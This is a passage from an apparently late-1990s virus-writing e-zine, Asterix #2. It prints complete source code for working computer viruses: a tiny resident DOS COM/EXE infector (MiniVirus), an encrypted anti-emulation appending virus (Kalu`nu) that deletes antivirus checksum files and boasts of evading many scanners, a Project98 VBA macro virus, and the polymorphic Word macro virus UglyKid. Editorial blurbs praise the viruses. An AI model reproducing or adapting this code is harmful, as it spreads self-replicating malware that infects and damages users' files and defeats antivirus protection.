db 0EAh ; far jump to virus in memory todw ( offset restore + 200h ) ; restory the hostdw 0

; ----- RESTORE HOST ------------------------------ --------------------------

restore :pop es ; restore ESpop di ; DI=100hmov si , ax ; SI = offset of original file startadd si , di ; move original .COM start back

push es ; push far address of startingpush di ; point of host

cmp byte ptr [ si ], "M" ; is the host an .EXE file?

mov cl , virus_length ; CH is already zerorep movsb ; move original .COM start back

JE restore_exe

retf ; execute host

Page 329: EZine - Asterix #2

MINIV.ASM

restore_exe :pop di ; restore DI

xchg ax , cx ; move the whole host back; (DI afterwards will be SI before)

mov si , [ si +8- virus_length ] ; size of header in paragraphsshl si , 4 ; convert to bytesadd si , di ; DI=100h (PSP size)rep movsb ; move host where it belongs

add dx , 10h ; add PSP size to DX (=CS)add [ di +16h ], dx ; fix code-segment address

add dx , [ di +0Eh] ; DX=stack-segmentmov ss , dx ; set original stack segmentmov sp , [ di +10h ] ; set original stack-pointer

jmp dword ptr [ di +14h ] ; jump to original entry point!

; ----- INT 21h HOOK ------------------------------ --------------------------

new_int21h :cmp ah, 4Bh ; execute?JNE org_int21h ; if so, infect .COM/.EXE

infect_exec :pusha ; save registerspush ds

mov ax , 3D02h ; open file r/wint revectorxchg bx , ax ; handle to BX where it belongs

push cs ; DS=CSpop ds

mov si , 300h ; SI=buffer for COM start/EXE header

mov ah, 3Fh ; read from filemov dx , si ; DS:DX=pointer to buffermov cx , virus_length ; length of virusint revectorsub cx , ax ; filelength < viruslength ?JNZ close ; if so, don't infect

mov ax , 4202h ; move filepointer to EOFcwd ; DX=0; CX was already 0 beforeint revector

mov [ offset_org_start +200h ], ax ; save length of file (=offset of; original com start or EXE header)

mov ah, 40h ; write to file/NewExe marker

cmp byte ptr ds :[ si ], 'M' ; is it already infected or EXE?JNE com_file ; it's an uninfected .COM file

exe_file : ; test if it is an infectable .EXE; (will also avoid reinfections)

Page 330: EZine - Asterix #2

MINIV.ASM

cmp word ptr ds :[ si +6], dx ; no relocation items? (DX=0 if the; file is smaller than 64KB,otherwise; we can't infect the file anyways)

JNE close ; close if it has an relo table

cmp byte ptr ds :[ si +18h ], ah ; is it any new exe file?JE close ; we just want to infect DOS EXEs

com_file :; write original com start to EOF ; AH is already 40h

mov dx , si ; DS:DX=pointer to buffermov cl , virus_length ; CX=length to write (CH is already 0)pusha ; save all registersint revector

mov ax , 4200h ; move filepointer to beginning of filexor cx , cx ; DX:CX=0 (new offset relative to SOF)cwd ; DX=0int revector

popa ; AH=40h; CX=virus_length; DL=0mov dh, 2 ; DX=200h=start of virus in memoryint revector ; write firus into file

close :mov ah, 3Eh ; close fileint revector

pop ds ; restore registerspopa

org_int21h : ; back to original int 21hint revectorretf 2

end_virus :

end start

Page 331: EZine - Asterix #2

MINIVIR.ASM

; ************************************************* ************************; ******************** ********************; ******************** MiniVirus ********************; ******************** by ********************; ******************** BLACK JACK ********************; ******************** ********************; ************************************************* ************************

comment ~

NAME: MiniVirus ( AVs will call it SillyCER.161 , I guess )AUTHOR: Black Jack / LineZer0 / MetaphaseTYPE: Memory resident prepending infector of DOS EXE and COM files.SIZE : 161 bytes!

COMMENTS: This virus was written for the tiny '99 open, the coding contest ofthe *- zine # 2. Therefore it is stripped down to its bare bones andas optimized as possible.

DESCRIPTION: When an infected file is run , the virus will install itselfmemory resident in the upper half of the interrupt vector table ,if it wasn 't memory resident before. Then it will hook int 21 hand redirect the original vector to int 3, which will fool somedebuggers and is more optimized. It will then infect EXE and COMfiles on execute. The virus will prepend its body and save theoriginal beginning of the file to the end ( non - destructiveoverwriting ) . EXE files are infected exactly the same way as COMfiles , that means that they are converted to COM formatinternally , and the EXE header will be interptreted manually bythe virus. To reduce code , the virus will only infect EXE fileswithout an relocation table. The virus won 't infect any NewExefiles or files that are too big or too small. It won 't reinfectmemory or files.

DRAWBACKS: - depends on initial registers ( instable , DOS version dependant )- can only infect very few EXE files- uses the upper half of the IVT -> instable- not ENUNS compatible , will corrupt COM and EXE files of DOS7

( also the EXEs have an ENUNS signature in the beginning , butthis only makes problems with prependers like this ) .

ASSEMBLE WITH:TASM / M minivirTLINK minivirEXE2BIN minivir.exe minivir.com

DISCLAIMER: I do * NOT* support the spreading of virii in the wild. Therefore ,this source was only written for research and education. Pleasedo not spread it. The author and his groups can 't be holdresponsible for what you decide to do with this source.

~; ===== CODE STARTS HERE ========================== ==========================

virus_length = (( offset end_virus ) - ( offset start ))revector = 3

.model tiny

.radix 10

.386

.codeorg 0

Page 332: EZine - Asterix #2

MINIVIR.ASM

start :; The virus assumes the following register values a t startup:; most significant word of EAX=0; BH=0; CX=00FFh; DX=DS=PSP segment; SI=IP=100h; DF=0

dec bp ; "M" - infection markpop es ; ES=0 (IVT segment)push es ; restore zero at top of stack

push ds ; save DS=PSP segment to stackpush si ; save SI=100h to stack

mov di , 200h ; ES:DI=0:200h (upper half of IVT)

scasb ; scan first byte of IVT for AL=0JNE return ; es:[di] != 0 ==> already residentdec di ; set DI back to 200h

mov ax , offset new_int21h +200h ; EAX=new vector for int21h; (most significant word of EAX is 0)

xchg eax , es :[ si - 100h +21h* 4] ; set viral int21h routine (SI=100h)mov es :[ revector * 4], eax ; save old int21h vector to int3

; (int 3 => optimized and anti-debug)

; DOS kindly set the following; values for us:; DS:SI=start of virus in mem; CX=00FFh; DF=0

rep movsb ; copy virus to upper half of the IVT

return :db 0B8h ; mov ax, imm16

offset_org_start dw 0- 100h ; int 20h in PSP to quit 1st gen

mov bl , 10h ; BX=10h (BH is already zero)push bx ; push segment 10hcall _retf ; push offset restore+100h

; the retf jumps to restore in the IVT

; ----- RESTORE HOST ------------------------------ --------------------------

restore :les di , [ bx - 16h ] ; ES:DI=Program entry point on stackmov si , ax ; SI = offset of original file startadd si , di ; move original .COM start back

cmp byte ptr [ si ], "M" ; is the host an .EXE file?

mov cl , virus_length ; CH is already zerorep movsb ; move original .COM start back

JE restore_exe

_retf :retf ; execute host

restore_exe :

Page 333: EZine - Asterix #2

MINIVIR.ASM

pop di ; restore DI

xchg ax , cx ; move the whole host back; (DI afterwards will be SI before)

mov si , [ si +8- virus_length ] ; size of header in paragraphsshl si , 4 ; convert to bytesadd si , di ; DI=100h (PSP size)rep movsb ; move host where it belongs

add dx , bx ; add PSP size to DX (=CS)add [ di +16h ], dx ; fix code-segment address

add dx , [ di +0Eh] ; DX=stack-segmentmov ss , dx ; set original stack segmentmov sp , [ di +bx ] ; set original stack-pointer (BX=10h)

jmp dword ptr [ di +14h ] ; jump to original entry point!

; ----- INT 21h HOOK ------------------------------ --------------------------

new_int21h :cmp ah, 4Bh ; execute?JNE org_int21h ; if so, infect .COM/.EXE

infect_exec :pusha ; save registerspush ds

mov ax , 3D02h ; open file r/wint revectorxchg bx , ax ; handle to BX where it belongs

push cs ; DS=CSpop ds

mov si , 300h ; SI=buffer for COM start/EXE header

mov ah, 3Fh ; read from filemov cx , virus_length ; length of virusmov dx , si ; DS:DX=pointer to bufferint revectorsub cx , ax ; filelength < viruslength ?JNZ close ; if so, don't infect

mov ax , 4202h ; move filepointer to EOFcwd ; DX=0; CX was already 0 beforeint revector

mov [ offset_org_start +200h ], ax ; save length of file (=offset of; original com start or EXE header)

mov ah, 40h ; write to file/NewExe marker

cmp byte ptr ds :[ si ], 'M' ; is it already infected or EXE?JNE com_file ; it's an uninfected .COM file

exe_file : ; test if it is an infectable .EXE; (will also avoid reinfections)

cmp word ptr ds :[ si +6], dx ; no relocation items? (DX=0 if the; file is smaller than 64KB,otherwise

Page 334: EZine - Asterix #2

MINIVIR.ASM

; we can't infect the file anyways)JNE close ; close if it has an relo table

cmp byte ptr ds :[ si +18h ], ah ; is it any new exe file?JE close ; we just want to infect DOS EXEs

com_file :; write original com start to EOF ; AH is already 40h

mov dx , si ; DS:DX=pointer to buffermov cl , virus_length ; CX=length to write (CH is already 0)pusha ; save all registersint revector

mov ax , 4200h ; move filepointer to beginning of filexor cx , cx ; DX:CX=0 (new offset relative to SOF)cwd ; DX=0int revector

popa ; AH=40h; CX=virus_length; DL=0mov dh, 2 ; DX=200h=start of virus in memoryint revector ; write firus into file

close :mov ah, 3Eh ; close fileint revector

pop ds ; restore registerspopa

org_int21h : ; back to original int 21hint revectorretf 2

end_virus :

end start

Page 335: EZine - Asterix #2

Kanu`lu is a DOS EXE/COM two-layered encrypted appending virus. A quite simple virus with most popularDOS capabilities, and some little (non descrutcive) action as well...

Download source code of Kalu`nu here

Page 336: EZine - Asterix #2

KALU'NU.ASM

;******-< Author Info >-********************* *************************;; Virus Name : Kalu`nu ;; Author : Kamaileon ;; : aKa Decimator ;; Group : The Shadow Virus Gr oup [TSVG] ;; : http://www.virusexc hange.org/shadowvx/ ;; Author e-mail : kamaileon@antisocia l.com ;; : [email protected] ;; Origin : Brasil, Ago '99 ;; Irc : #vir , #virus , #vx trader , #shadowvx ;; Icq uin : #48473940 ;; ;;******-< Bio-Code Info >-********************* *************************;; Compiling : Tasm/m3 destru.asm ; ; : Tlink/t destru.obj ; ; Targetz : EXE/COM files (Appe nd Method) ; ; Size : 1239 bytes ;; Resident : Nope ; ; PolyMorphic : Nope ; ; Encryption : Two layers, with XO R and NOT instructions ; ; Stealth : Just the old ones, nothing new in this side ; ; Tunneling : Nope ; ; Retro : Delete some CRC fil ez ;; Payload : Create some Directo rys and show a msg ;; Trigger : 10th of every month ;; Armoury : int24h adress chang e crashs some debuggers ;; AntiHeuristics : Encryption and Anti Emul avoids all flags ; ; ; ;******-< Peculiarities >-**********************************************; ; - Search fo every file and verify the extension o f him, so infects only ; ; EXE and COM filez. ; ; - As infection marker he makes equal the days fie ld and secs field. ;; - The 2 layers of encryption and Ant-Emulation lo op does all the work ; ; against fucka AVs. ; ; - Obs: The 2 Encryption routines are little diffe rents. ;; - The checked extensions are .CO* and .EX* , this can cause some trouble ; ; if he get another files, but who cares? ;; - The AntiEmul loop could works like a psychologi cal weapon, bcoz it ; ; causes a strong slowdown in some AVs. ;; ; ;******-< Greetz and Thanks >-**********************************************; ; Thanks to Pruslas, MetalKid and Raid, for test th is. ;; Greetz for all ppl from #vir #virus #vxtrader #vx -vtc #shadowvx ; ; Raid: Greetz for Toadie and the fucka Creed!! :) ;

Page 337: EZine - Asterix #2

KALU'NU.ASM

; Trev and Tbh: For the funny times in #vir or #vir us, buahahahahhahah ;; ; ;******-< AV's Scan >-********************* *************************;; Name Results Comments ; ; AVP 3.0 build 131 Dont Detect :P ; ; Avast32 3.0 build 162 Dont Detect :P ;; InVircible 7.02 build 295a Dont Detect :P ;; Dr.WEB 4/05 Beta Dont Detect :P ; ; VirusBUSTER release1999 Dont Detect :P ;; McAfee VirusScan 4.0.3 Dont Detect :P ; ; NOD32 Dont Detect :P ; ; NAV 5.00.01a Dont Detect :P ; ; Ivz 7.02m Dont Detect :P ; ; F-prot 3.05b DOS Dont Detect :P ; ; VirusBuster V8.03.557 Dont Detect :P ;; Panda AV Platinum 6.08.00 Dont Detect :P ; ; Panda AV Win95/98 6.0 Dont Detect :P ; ; F-Secure AV 4.04 Win95 Dont Detect :P ; ; FindVirus 7.97 Dont Detect :P ; ; RHBVS Version 2.54.05 Dont Detect :P ;; VirusScan Plus (VSP) Dont Detect :P ;; ;; Command AV Win95 v4.57 Sometimes flag some :O ;; files, as BHound Hibrid ;; ;; TBAV 8.09b Win95 Dont Detect Some times trigger some flags ; ; (high Heuristic mode) but he dont see the virii :)); ; ;; PS: TBAV and Command AV probably ; ; dont goes beyond the encryption, ; ; leaving the main code safe. * Test on 2nd Generations ;; ;;******-< I love this Job >-**********************************************; ;******-< ShowTime!!! >-**********************************************;

code segment

assume cs : code , ds : code

jumps

org 100h

Page 338: EZine - Asterix #2

KALU'NU.ASM

EncKey equ 1eh

EncKey2 equ 21h

begin :

push ds

mov bp, spint 03h

DeltaOff :mov si , ss :[ bp- 6]sub si , offset DeltaOffxchg si , bp

push cs cspop es ds

mov ax , word ptr [ bp+InfectType ]mov word ptr [ bp+TmpInfectType ], ax

Fake :mov cx , 0ffffh

Anti :db 9chxchg ax , bxand ax , 666hxor bx , axxchg bx , axxor bx , axnot bxshr ax , 4db 9dhloop Anti

cmp word ptr [ bp+InfectType ], 00hje contincall first

call Secjmp contin

InfectType dw ?

first :mov cx , ( end_virus - Sec+1)/ 2lea di , [ bp+Sec]mov si , dimov ah, EncKey

firstloop :lodsbxor ah, 13hxor al , ahnot alstosbloop firstloopret

Page 339: EZine - Asterix #2

KALU'NU.ASM

Sec:mov cx , ( end_virus - contin +1)/ 2lea di , [ bp+contin ]mov si , dimov ah, EncKey2

Secloop :lodsbnot alxor al , ahxor ah, 13hstosbloop Secloopret

contin :cmp word ptr [ bp+InfectType ], 1je restoreCOMcmp word ptr [ bp+InfectType ], 0je setDTAjmp restoreEXE

old3 db 0cdh , 20h , 0

restoreCOM :mov di , 100hlea si , [ bp+offset old3 ]movswmovsbjmp setDTA

restoreEXE :lea di , [ bp+storeIP ]lea si , [ bp+oldIP ]movswmovswmovswmovsw

setDTA :mov ah, 1ahlea dx , [ bp+offset newDTA]int 21h

push esmov ax , 3524hint 21hmov [ bp+word ptr OldInt24h ], bxmov [ bp+word ptr OldInt24h +2], espop es

mov ax , 2524hlea dx , [ bp+NewInt24Hand ]int 21h

mov ah, 2ahint 21hcmp dl , 0ahje PayBack

mov ah, 4ehnext :

lea dx , [ bp+Filez ]

Page 340: EZine - Asterix #2

KALU'NU.ASM

mov cx , 7int 21hjnc VerifyExtjmp exit

VerifyExt :push ax cx di es

push dspop es

lea dx , [ bp+newDTA+1eh ]mov di , dxmov cx , 64mov al , '.'repnz scasb

cmp [ di ], 'OC'je infectCOMcmp [ di ], 'XE'je infectEXEjmp KiLLCRCs

infectEXE :pop es di cx axmov word ptr [ bp+InfectType ], 2call OpenFileje Dammmov ah, 3fhmov cx , 1chlea dx , [ bp+header ]int 21h

mov al , byte ptr [ bp+header ]add al , byte ptr [ bp+header +1]cmp al , 'M' +'Z'jne Dammjmp cont

cont :call saveheader

mov al , 02hcall seek

push ax dx

call calcCSIP

pop dx ax

call calcsize

call writevirus

xor ax , axcall seek

mov ah, 40hmov cx , 1chlea dx , [ bp+header ]

Page 341: EZine - Asterix #2

KALU'NU.ASM

int 21h

call CloseFile

mov ah, 4fhjmp NoMatch

infectCOM :pop es di cx axmov word ptr [ bp+InfectType ], 1call OpenFileje Damm

mov ah, 3fhmov cx , 3lea dx , [ bp+old3 ]int 21h

mov al , 02hcall seek

mov ax , word ptr [ bp+newDTA+1ah ]sub ax , 3mov word ptr [ bp+jump +1], ax

xor ax , axcall seek

mov ah, 40hmov cx , 3lea dx , [ bp+jump ]int 21h

mov al , 02hcall seek

call writevirus

call CloseFilejmp NoMatch

exit :pop dsmov dx , 80hmov ah, 1ahint 21h

mov ax , 2524hlea dx , [ bp+OldInt24h ]int 21h

cmp word ptr [ bp+TmpInfectType ], 1je HostCOMcmp word ptr [ bp+TmpInfectType ], 0je nobodyjmp hostEXE

nobody :int 20h

HostCOM:push 100h

Page 342: EZine - Asterix #2

KALU'NU.ASM

retn

HostEXE :push dspop es

mov ax , esadd ax , 10h

add word ptr cs :[ bp+storeCS ], ax

cliadd ax , word ptr cs :[ bp+storeSS ]mov ss , axmov sp , word ptr cs :[ bp+storeSP ]sti

db 0eah

storeIP dw 0storeCS dw 0storeSP dw 0storeSS dw 0

oldIP dw 0oldCS dw 0fff0holdSP dw 0oldSS dw 0fff0h

PayBack :mov cx , 235

loopDir :mov ah, 39hlea dx , DirNameint 21hinc DirNameloop loopDir

mov ah, 09hlea dx , [ bp+PayMsg]int 21hjmp exit

DirName db '!.Kalu`nu' , 0

PayMsg db 'Im feelin like a bad boy' , 10, 13db 'Mn just a like a bad boy' , 10, 13db 'Im rippin up a Rag Doll' , 10, 13db 'Like throwin away an old toy' , 10, 13db 'Some babes talkin real loud' , 10, 13db 'Talkin all about the new crowd' , 10, 13db 'Try and tell me of an old dream' , 10, 13db 'A new version of old scene' , 10, 13db '' , 10, 13db ' (c) Kalu`nu ' , '$'

KiLLCRCs :pop es di cx axlea dx , [ bp+kill1CRC ]call KiLLlea dx , [ bp+kill2CRC ]call KiLL

Page 343: EZine - Asterix #2

KALU'NU.ASM

lea dx , [ bp+kill3CRC ]call KiLLlea dx , [ bp+kill4CRC ]call KiLLlea dx , [ bp+kill5CRC ]call KiLLlea dx , [ bp+kill6CRC ]call KiLLjmp NoMatch

KiLL :mov ax , 4301hxor cx , cxint 21h

mov ah, 41hint 21hret

kill1CRC db 'ANTI-VIR.DAT' , 0kill2CRC db 'CHKLIST.MS' , 0kill3CRC db 'SMARTCHK.CPS', 0kill4CRC db 'AVP.CRC' , 0kill5CRC db 'IVB.NTZ' , 0kill6CRC db 'CHKLIST.TAV' , 0

NewInt24Hand :xchg ax , axiret

Damm:call CloseFile

NoMatch :mov ah, 4fhjmp next

writevirus :call Seccall firstmov cx , end_virus - beginlea dx , [ bp+offset begin ]mov ah, 40hint 21hcall firstcall secret

saveheader :mov ax , word ptr [ bp+header +0eh ]mov word ptr [ bp+oldSS ], axmov ax , word ptr [ bp+header +10h ]mov word ptr [ bp+oldSP ], axmov ax , word ptr [ bp+header +14h ]mov word ptr [ bp+oldIP ], axmov ax , word ptr [ bp+header +16h ]mov word ptr [ bp+oldCS ], axret

CalcCSIP :push axmov ax , word ptr [ bp+header +8]mov cl , 4

Page 344: EZine - Asterix #2

KALU'NU.ASM

shl ax , clmov cx , axpop ax

sub ax , cxsbb dx , 0

mov cl , 0chshl dx , clmov cl , 4push axshr ax , cladd dx , axshl ax , clpop cxsub cx , axmov word ptr [ bp+header +14h ], cxmov word ptr [ bp+header +16h ], dxmov word ptr [ bp+header +0eh ], dxmov word ptr [ bp+header +10h ], 0fffehret

calcsize :push ax

add ax , end_virus - beginadc dx , 0mov cl , 7shl dx , clmov cl , 9shr ax , cladd ax , dxinc axmov word ptr [ bp+header +04], axpop axmov dx , axshr ax , clshl ax , clsub dx , axmov word ptr [ bp+header +02], dxret

seek :mov ah, 42hxor cx , cxcwdint 21hret

OpenFile :mov ax , 4300hlea dx , [ bp+offset newDTA+1eh ]int 21hmov word ptr [ bp+file_attr ], cx

mov ax , 4301hlea dx , [ bp+offset newDTA+1eh ]xor cx , cxint 21h

mov ax , 3d02hlea dx , [ bp+offset newDTA+1eh ]

Page 345: EZine - Asterix #2

KALU'NU.ASM

int 21h

xchg bx , ax

mov ax , 5700hint 21hmov word ptr [ bp+file_time ], cxmov word ptr [ bp+file_date ], dxand cx , 0000000000011111band dx , 0000000000011111bcmp cx , dxret

CloseFile :mov ax , 5701hmov dx , word ptr [ bp+file_date ]mov cx , word ptr [ bp+file_time ]and cx , 1111111111100000band dx , 0000000000011111bor cx , dxmov dx , word ptr [ bp+file_date ]int 21h

mov ah, 3ehint 21h

mov ax , 4301hlea dx , [ bp+offset newDTA+1eh ]mov cx , word ptr [ bp+file_attr ]int 21hret

VirusName db 'Kalu`nu Virus' , 0Author db 'Kamaileon' , 0VxGroup db 'TSVG - The Shadow Virus Group' , 0

OldInt24h dd 00hjump db 0e9h , 0, 0TmpInfectType dw ?Filez db '*.*' , 0file_attr dw ?file_time dw ?file_date dw ?

end_virus :newDTA db 43 dup (?)header db 1ch dup (?)

code endsend begin

Page 346: EZine - Asterix #2

After Anarchy.6093 this was the next non-macro virii able to infect wb6 documents. This virii was designed towork under ring-0 as vxd. For this reason author developed its own vxd infecting routine (we need to say itwas not very stable - doesn't work under win98). In infection of doc there are still some bugs. Virii is strictlymodularized (this is reason why a biggest part of code in 29A disassembly is missing) - and this is what ibelieve is not very common for today viruses. Hovever author claims that this will be neccessary for future,giving many other possibilities. In this virii is used as unified model for relocating code. All such a difficultmanagement is there because of idea of creating self-adaptible modular system, or known as genetic-system (or genetical virus). Mentioned genetical virus can be able to self-optimize its own genes (modules)from available set of genes to reach optimal performace. However, it is still not finished and most probablywill not ever be, as particular ideas are already obsolete and a new and better ones were developed. Thatswhy the main aim of this virus - a genetical system - is not that vissible and a release of this virus as well ashis source code waits so long.

Because original source code of this virii were lost we introduce you sources of a bit newer version capableof infection of DOS4GW extended programs. There are fixed some bugs and work under '98 too. We hopeyou will appreciate work of this author and you will take a look at it.

Download source code of HZDS (Navrhar) here

Page 347: EZine - Asterix #2

This is the first Project98 virus (at least author claims that). You can again watch the power of visual basic...in which other language you can write virii for 19 lines? If you are interested in just click and see.

May be we will once see project that can infect all vba platforms ...

Download source code of Proj98 here

Page 348: EZine - Asterix #2

PROJECT.VBS

Private Sub Project_Deactivate( ByVal pj As MSProject.Project)'Application.MacroVirusProtection = FalseDim X As ProjectFor Each X In ProjectsOn Error Resume NextSet ap = X.VBProject.VBComponents( 1).CodeModuleSet tp = ThisProject.VBProject.VBComponents( 1).CodeModuleIf ap.Lines( 2, 1) <> "'" Thenap.deletelines 1, ap.countoflinesap.insertlines 1, tp.Lines( 1, tp.countoflines)Application.FileSaveAs Name:=ActiveProject.NameEnd IfNext XIf (Day(Now)) >= 15 And (Minute(Now)) = 55 ThenMsgBox "Welcome to the Worlds First Project98 Macro Virus !!!!" , vbCritical,"Proj98/fLaShBaCk"End IfEnd Sub

---cut here----'Put this in the 2nd ish o your mag ??

'with l0ve AntiStateTortoise

Page 349: EZine - Asterix #2

This is next work from authors of SlovakDictator. This time virii is much more faster :) In this work authorschanged their strategy. Their goal was to create absolutely polymorphic virus in macro code. Real code isstored in autotext and is totally static. Macro is only a small loader that do nothing more that pastes autotextto new macro and executes it. The main goal of this macro is to create loader named according target whereit is stored. Macro contains "static" lines with substituted random variables and padded by garbage to makereading much more difficult. Main significant in macro is "A". It is pitty authors makes this not morepolymorphic. Except this virii deletes File Templates and Edit Autotext from menu to be more invisible. It uses"stealth" technique based on overriding ToolsMacro macro.

Anything else to say? Source says everything :) so enjoy ...

Download source code of UglyKid.A here

Page 350: EZine - Asterix #2

UGLYKID.MAC

List Word Macros version 1.10File: NASTY.DOTTotal macros: 4=================================================== ===========================Macro name: Starter [STARTER] "U"Description: Tymto sa zahajuje proces infekcie, ak uz bola v ytvorena polozka autotextu"SURIV" v globale--------------------------------------------------- ---------------------------Sub MAINScreenUpdating 0ROLB = Rnd()IERWMT$ = "A"FPPLGS = Rnd()SetDocumentVar IERWMT$, "SURIV"DNISSJ = Now()HCUG$ = WindowName$()REM QALKToolsMacro .Show = 0, .Name = "LBHWB", .EditViewToolbars .Toolbar = "Macro" , .HideEditAutoText .Insert, .InsertAs = 0, .Name = "SURIV"GWJB = Now()DocClose 1ODALAH =39.486668313702Activate HCUG$FWJB = 90.254199088122Call LBHWBORPRPJ = 42.363113938882ToolsMacro .Name = "LBHWB", .Delete, .Show = 0REM MGOKORFileSaveEnd Sub=================================================== ===========================Macro name: FileSave [FILESAVE] "U"Description: Nutna podmienka mnozenia z globalu do dokumentu (aby si virus myslel, ze trebanapadnut dokument)--------------------------------------------------- ---------------------------Sub MAINFileSaveEnd Sub=================================================== ===========================Macro name: PolozkaAutoTextuFinal [POLOZKAAUTOTEXTUFIN AL] "U"Description: Finalna distribucna verzia bez komentarov a d ebug infa. Nakopirovat do globaluako polozku autotextu "SURIV" bez Sub MAIN a End Sub--------------------------------------------------- ---------------------------Sub MAINDisableInputOn Error Goto GoAway

CurFile$ = FileName$()If CurFile$ = "" Then Goto GoAway

If CheckInstalled( 0, "FileSave" ) = 0 ThenInfect( 1)ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1Goto GoAway

End If

Dim dlg As FileSaveAsGetCurValues dlgIf dlg.Format = 0 Then

dlg.Format = 1FileSaveAs dlg

Page 351: EZine - Asterix #2

UGLYKID.MAC

End If

If CheckInstalled( 1, "AutoOpen" ) = 0 Then Infect( 3)GoAway:End Sub

Function CheckInstalled(j, macro$)CheckInstalled = 0macro$ = UCase$(macro$)For i = 1 To CountMacros(j)

If UCase$(MacroName$(i, j)) = macro$ Then CheckInstalled = 1Next iEnd Function

Sub CustomizeMenuFor i = 1 To CountMenuItems( "File" , 0)If UCase$(MenuItemMacro$( "File" , 0, i)) = "FILETEMPLATES" Then Goto CustomizeNext iGoto esCustomize:ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "FileTemplates" , .Menu = "&File" , .MenuText = "&Templates..." , .Remove, .Context = 0ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "EditAutoText" , .Menu = "&Edit" , .MenuText = "AutoTe&xt..." , .Remove, .Context = 0es:End Sub

Function GenName$i = 4 + Rnd() * 3a$ = ""For j = 1 To i : a$ = a$ + Chr$( 65 + Rnd() * 23) : Next jGenName$ = a$End Function

Sub InsertParaEndInsertParai = Rnd()If i < 0.2 Then Insert GenName$ + "=" + Str$( 100 * Rnd()) Else If i < 0.4 Then InsertGenName$ + "=Rnd()" Else If i < 0.6 Then Insert GenName$ + " = Now()" Else If i < 0.8 ThenInsert "REM " + GenName$ Else If i > 0.81 And i < 0.813 Then Insert "REM (c) " + "Nasty Lamer & Ugly Luser" + ", Slovakia" Else If i > 0.82 And i < 0.823 Then Insert "REM Do not forget: SlovakDictator is mother of all macro virus es of the new generation ! "If i < 0.95 Then InsertParaEnd Sub

Sub InsertLine(cmd$, a$, b$, c$)Insert cmd$ + " "For i = 1 To 5If Rnd() > 0.5 Then

d$ = a$ : a$ = b$ : b$ = d$Else

d$ = b$ : b$ = c$ : c$ = d$End IfNext iInsert a$ + ", " + b$ + ", " + c$End Sub

Function GenPolyMacro$(where, thismacro$)xMacroName$ = GenName$xAutoTextName$ = GenName$xDocVar$ = GenName$xWinName$ = GenName$ + "$"

Page 352: EZine - Asterix #2

UGLYKID.MAC

xInfType$ = Str$(where)xOnError$ = GenName$ToolsMacro .Edit, .Name = thismacro$, .Show = whereViewToolbars .Toolbar = "Macro" , .HideIf where = 1 Then ParaUpInsertParaEnd: InsertParaEndInsert "On Error Goto " + xOnError$ : InsertParaEndInsert "ScreenUpdating 0" : InsertParaEndInsert xDocVar$ + "$ =" + Chr$( 34) + "A" + Chr$( 34) : InsertParaEndInsert "SetDocumentVar " + xDocVar$ + "$, " + Chr$( 34) + xAutoTextName$ + Chr$( 34) :InsertParaEndInsert xWinName$ + " = WindowName$()" : InsertParaEndInsertLine( "ToolsMacro" , ".Name=" + Chr$( 34) + xMacroName$ + Chr$( 34), ".Show=" + xInfType$,".Edit" ) : InsertParaEndInsertLine( "EditAutoText" , ".Name=" + Chr$( 34) + xAutoTextName$ + Chr$( 34), ".InsertAs=0" ,".Insert" ) : InsertParaEndInsert "DocClose 1" : InsertParaEndInsert "Activate " + xWinName$ : InsertParaEndInsert "Call " + xMacroName$ : InsertParaEndInsertLine( "ToolsMacro" , ".Name=" + Chr$( 34) + xMacroName$ + Chr$( 34), ".Show=" + xInfType$,".Delete" ) : InsertParaEndInsert xOnError$ + ":" : InsertParaEndDocClose 1GenPolyMacro$ = xAutoTextName$End Function

Sub Infect(where)xOldAutoTextName$ = GetDocumentVar$( "A" )normaldot$ = UCase$(DefaultDir$( 2) + "\NORMAL.DOT" )inffile$ = FileName$()If where = 1 Then

xAutoTextName$ = GenPolyMacro$(where, "FileSave" )Organizer .Copy, .Source = inffile$, .Destination = normal dot$, .Name = xOldAutoTextName$

, .Tab = 1Organizer .Rename, .Source = normaldot$, .Name = xOldAutoT extName$, .NewName =

xAutoTextName$, .Tab = 1MacroCopy normaldot$ + ":FileSave" , normaldot$ + ":FileSave" , 1MacroCopy normaldot$ + ":FileSave" , normaldot$ + ":ToolsMacro" , 1CustomizeMenu

ElsexAutoTextName$ = GenPolyMacro$(where, "AutoOpen" )Organizer .Copy, .Source = normaldot$, .Destination = inff ile$, .Name = xOldAutoTextName$

, .Tab = 1Organizer .Rename, .Source = inffile$, .Name = xOldAutoTex tName$, .NewName =

xAutoTextName$, .Tab = 1MacroCopy inffile$ + ":AutoOpen" , inffile$ + ":AutoOpen" , 1

End If

ToolsOptionsUserInfo .Name = "Nasty" , .Initials = "Ugly"

End Sub=================================================== ===========================Macro name: PolozkaAutoTextuDebugInfo [POLOZKAAUTOTEXT UDEBUGINFO] "U"Description: Finalna plne komentovana verzia s debug infom . Treba nakopirovat ako polozkuautotextu "SURIV" do globalu bez Sub MAIN a End Sub--------------------------------------------------- ---------------------------'-------------------------------------------------- -----' WordMacro.SlovakDictator - light version' (c) 20-apr-97, Nasty Lamer & Ugly Luser, Slovakia' Our motto: Quality, not quantity !' Distribute like crazy, please :))' Original source code commented by authors

Page 353: EZine - Asterix #2

UGLYKID.MAC

'-------------------------------------------------- -----Sub MAINDisableInputOn Error Goto GoAway

CurFile$ = FileName$()If CurFile$ = "" Then Goto GoAway

If CheckInstalled( 0, "FileSave" ) = 0 ThenInfect( 1)ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1Goto GoAway

End If

Dim dlg As FileSaveAsGetCurValues dlgIf dlg.Format = 0 Then

dlg.Format = 1FileSaveAs dlg

End If

If CheckInstalled( 1, "AutoOpen" ) = 0 Then Infect( 3)GoAway:End Sub

'---///---///---' check if already infectedFunction CheckInstalled(j, macro$)CheckInstalled = 0macro$ = UCase$(macro$)For i = 1 To CountMacros(j)

If UCase$(MacroName$(i, j)) = macro$ Then CheckInstalled = 1Next iEnd Function'---///---///---

